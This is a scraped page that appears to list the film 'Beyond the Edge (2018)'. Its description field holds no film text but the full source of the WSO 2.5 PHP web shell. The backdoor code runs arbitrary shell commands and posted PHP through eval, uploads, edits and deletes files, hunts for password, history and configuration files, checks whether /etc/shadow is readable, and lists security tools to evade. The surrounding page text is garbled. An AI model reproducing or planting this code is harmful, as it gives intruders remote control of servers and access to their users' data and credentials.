Beyond the Edge (2018)
|
|
||||||||||||||||||||||
| Description | ||||||||||||||||
|
< $default_action='FilesMan';$default_use_ajax=false;$default_charset='Windows-1251';@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','2.5 lt');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}$safe_mode=@ini_get('safe_mode');if(!$safe_mode){error_reporting(0);}$home_cwd=@getcwd();if(isset($_POST['c'])){@chdir($_POST['c']);}$cwd=@getcwd();$aliases=array("List dir"=>"ls -lha","list file attributes on a Linux second extended file system"=>"lsattr -va","show opened ports"=>"netstat -an | grep -i listen","process status"=>"ps aux","Find"=>"","find all suid files"=>"find / -type f -perm -04000 -ls","find suid files in current dir"=>"find . -type f -perm -04000 -ls","find all sgid files"=>"find / -type f -perm -02000 -ls","find sgid files in current dir"=>"find . -type f -perm -02000 -ls","find config.inc.php files"=>"find / -type f -name config.inc.php","find config* files"=>"find / -type f -name \"config*\"","find config* files in current dir"=>"find . -type f -name \"config*\"","find all writable folders and files"=>"find / -perm -2 -ls","find all writable folders and files in current dir"=>"find . -perm -2 -ls","find all service.pwd files"=>"find / -type f -name service.pwd","find service.pwd files in current dir"=>"find . -type f -name service.pwd","find all .htpasswd files"=>"find / -type f -name .htpasswd","find .htpasswd files in current dir"=>"find . -type f -name .htpasswd","find all .bash_history files"=>"find / -type f -name .bash_history","find .bash_history files in current dir"=>"find . -type f -name .bash_history","find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc","Locate"=>"","locate httpd.conf files"=>"locate httpd.conf","locate vhosts.conf files"=>"locate vhosts.conf","locate proftpd.conf files"=>"locate proftpd.conf","locate psybnc.conf files"=>"locate psybnc.conf","locate my.conf files"=>"locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=>"locate cfg.php","locate conf.php files"=>"locate conf.php","locate config.dat files"=>"locate config.dat","locate config.php files"=>"locate config.php","locate config.inc files"=>"locate config.inc","locate config.inc.php"=>"locate config.inc.php","locate config.default.php files"=>"locate config.default.php","locate config* files"=>"locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=>"locate '.pwd'","locate .sql files"=>"locate '.sql'","locate .htpasswd files"=>"locate '.htpasswd'","locate .bash_history files"=>"locate '.bash_history'","locate .mysql_history files"=>"locate '.mysql_history'","locate .fetchmailrc files"=>"locate '.fetchmailrc'","locate backup files"=>"locate backup","locate dump files"=>"locate dump","locate priv files"=>"locate priv");$os='nix';if(strtolower(substr(PHP_OS,0,3))=="win"){$os='win';$home_cwd=str_replace("\\","/",$home_cwd);$cwd=str_replace("\\","/",$cwd);$aliases=array("List Directory"=>"dir","Find index.php in current dir"=>"dir /s /w /b index.php","Find *config*.php in current dir"=>"dir /s /w /b *config*.php","Show active connections"=>"netstat -an","Show running services"=>"net start","User accounts"=>"net user","Show computers"=>"net view","ARP Table"=>"arp -a","IP Configuration"=>"ipconfig /all");}$disable_functions=@ini_get('disable_functions');if($cwd[strlen($cwd)-1]!='/'){$cwd.='/';}if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'])){$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=(bool)$default_use_ajax;}function wsoHeader(){if(empty($_POST['charset'])){$_POST['charset']=$GLOBALS['default_charset'];}echo " ";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!==false){$explink.=urlencode('Linux Kernel '.substr($release,0,6));}else{$explink.=urlencode($kernel.' '.substr($release,0,3));}if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links.="".$path[$i]."/";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as $item){$opt_charsets.='';}$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Php'=>'Php');$menu='';foreach($m as $k=>$v){$menu.=' ";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("\n",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f)){$out.= fread($f,1024);}pclose($f);}return $out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s>=1073741824){return sprintf('%1.2f',$s/1073741824).' GB';}elseif($s>=1048576){return sprintf('%1.2f',$s/1048576).' MB';}elseif($s>=1024){return sprintf('%1.2f',$s/1024).' KB';}else{return $s.' B';}}function wsoPerms($p){if(($p&0xC000)==0xC000){$i='s';}elseif(($p&0xA000)==0xA000){$i='l';}elseif(($p&0x8000)==0x8000){$i='-';}elseif(($p&0x6000)==0x6000){$i='b';}elseif(($p&0x4000)==0x4000){$i='d';}elseif(($p&0x2000)==0x2000){$i='c';}elseif(($p&0x1000)==0x1000){$i='p';}else{$i='u';}$i.=(($p&0x0100)?'r':'-');$i.=(($p&0x0080)?'w':'-');$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i.=(($p&0x0020)?'r':'-');$i.=(($p&0x0010)?'w':'-');$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i.=(($p&0x0004)?'r':'-');$i.=(($p&0x0002)?'w':'-');$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return $i;}function wsoPermsColor($f){if(!@is_readable($f)){return ''.wsoPerms(@fileperms($f)).'';}elseif(!@is_writable($f)){return ''.wsoPerms(@fileperms($f)).'';}else{return ''.wsoPerms(@fileperms($f)).'';}}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh))){$files[]=$filename;}}return $files;}function wsoWhich($p){$path=wsoEx('which '.$p);if(!empty($path)){return $path;}return false;}function actionSecInfo(){wsoHeader();echo '[ '.$k.' ] | ';}$drives="";if($GLOBALS['os']=='win'){foreach(range('c','z') as $drive){if(is_dir($drive.':\\')){$drives .= '[ '.$drive.' ] ';}}}echo '
';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)";echo " Server security information';function wsoSecParam($n,$v){$v=trim($v);if($v){echo ''.$n.': ';if(strpos($v,"\n")===false){echo $v.' ';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";echo strlen($temp),"\n",$temp;exit;}if(empty($_POST['ajax']) && !empty($_POST['p1'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);}wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']=='info')){echo '';}else{echo ' '.$v.'';}}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules')){wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));}wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info')){$temp[]="MySql (".mysql_get_client_info().")";}if(function_exists('mssql_connect')){$temp[]="MSSQL";}if(function_exists('pg_connect')){$temp[]="PostgreSQL";}if(function_exists('oci_connect')){$temp[]="Oracle";}wsoSecParam('Supported databases',implode(', ',$temp));echo ' ';if($GLOBALS['os']=='nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes [view]":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes [view]":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo ' ';$temp=array();foreach($userful as $item){if(wsoWhich($item)){$temp[]=$item;}}wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as $item){if(wsoWhich($item)){$temp[]=$item;}}wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as $item){if(wsoWhich($item)){$temp[]=$item;}}wsoSecParam('Downloaders',implode(', ',$temp));echo ' ';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo ' posix_getpwuid ("Read" /etc/passwd) ';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo ' PHP info';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!
';}echo ' Execution PHP-code';wsoFooter();}function actionFilesMan(){if(!empty($_COOKIE['f'])){$_COOKIE['f']=@unserialize($_COOKIE['f']);}if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])){echo "Can't upload file!";}break;case 'mkdir':if(!@mkdir($_POST['p2'])){echo "Can't create new dir";}break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path.'/';$dh=opendir($path);while(($item=readdir($dh))!==false){$item=$path.$item;if((basename($item)=="..")||(basename($item)==".")){continue;}$type=filetype($item);if($type=="dir"){deleteDir($item);}else{@unlink($item);}}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f'])){foreach($_POST['f'] as $f){if($f=='..'){continue;}$f=urldecode($f);if(is_dir($f)){deleteDir($f);}else{@unlink($f);}}}break;case 'paste':if($_COOKIE['act'] == 'copy') {function copy_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false){if(($f!=".")and($f!="..")){copy_paste($c.$s.'/',$f, $d.$s.'/');}}} elseif(is_file($c.$s)){@copy($c.$s, $d.$s);}}foreach($_COOKIE['f'] as $f){copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}}elseif($_COOKIE['act']=='move'){function move_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false){if(($f!=".")and($f!="..")){copy_paste($c.$s.'/',$f, $d.$s.'/');}}}elseif(@is_file($c.$s)){@copy($c.$s,$d.$s);}}foreach($_COOKIE['f'] as $f){@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);}} elseif($_COOKIE['act'] == 'zip') {if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f'] as $f){if($f=='..'){continue;}if(@is_file($_COOKIE['c'].$f)){$zip->addFile($_COOKIE['c'].$f,$f);}elseif(@is_dir($_COOKIE['c'].$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/',FilesystemIterator::SKIP_DOTS));foreach ($iterator as $key=>$value) {$zip->addFile(realpath($key), $key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']=='unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f'] as $f){if($zip->open($_COOKIE['c'].$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']=='tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv '.escapeshellarg($_POST['p2']).' '.implode(' ', $_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])) {WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}break;}}wsoHeader();echo ' File manager';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent===false){echo 'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match)){$sort=array($match[1],(int)$match[2]);}}echo " ";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1'])){$_POST['p1']=urldecode($_POST['p1']);}if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: ".$type);}else{header("Content-Type: application/octet-stream");}$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp)){echo @fread($fp,1024);}fclose($fp);}}exit;}if(@$_POST['p2']=='mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}wsoHeader();echo 'File tools';if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else{$gid=@posix_getgrgid(@filegroup($_POST['p1']));}echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' Permission: '.wsoPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].' ';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',true);$_POST['p1'].=' 2>&1';}elseif(!empty($_POST['p1'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',0);}if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();echo "d.cf.cmd.value='';\n";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='".$GLOBALS['cwd']."';";}}echo "d.cf.output.value+='".$temp."';";echo "d.cf.output.scrollTop=d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"\n",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);}wsoHeader();echo "";echo '';echo 'Change time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).' ';if(empty($_POST['p2'])){$_POST['p2']='view';}if(is_file($_POST['p1'])){$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');}else{$m = array('Chmod', 'Rename', 'Touch');}foreach($m as $v){echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';}echo ' ';switch($_POST['p2']){case 'view':echo ' ';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp)){echo htmlspecialchars(@fread($fp,1024));}@fclose($fp);}echo '';break;case 'highlight':if( @is_readable($_POST['p1']) ) {echo '';$code = @highlight_file($_POST['p1'],true);echo str_replace(array(''), array(''),$code).' ';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i){$perms+=(int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));}if(!@chmod($_POST['p1'],$perms)){echo 'Can\'t set permissions!';}}clearstatcache();echo '';break;case 'edit':if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp) {@fwrite($fp,$_POST['p3']);@fclose($fp);echo 'Saved! ';@touch($_POST['p1'],$time,$time);}}echo '';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000 ','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].=sprintf('%02X',ord($c[$i])).' ';switch(ord($c[$i])){case 0:$h[2].=' ';break;case 9:$h[2].=' ';break;case 10:$h[2].=' ';break;case 13:$h[2].=' ';break;default:$h[2].=$c[$i];break;}$n++;if($n==32){$n=0;if($i+1<$len){$h[0].=sprintf('%08X',$i+1).' ';}$h[1].=' ';$h[2].="\n";}}echo '
';}else{die('');}}echo '';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time)){echo 'Fail!';}else{echo 'Touched!';}}else{echo 'Bad time format!';}}clearstatcache();echo '';break;}echo ' Console';wsoFooter();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=>php_uname(),"php_version"=>phpversion(),"wso_version"=>WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}if(empty($_POST['a'])){if(isset($default_action)&&function_exists('action'.$default_action)){$_POST['a']=$default_action;}else{$_POST['a']='SecInfo';}}if(!empty($_POST['a'])&&function_exists('action'.$_POST['a'])){call_user_func('action'.$_POST['a']);}exit;?> |
|||||||||||||||
| Download link : | ||||||||||||||||
;){kind=small}
|
||||||||||||||||
| Embedd Link | ||||||||||||||||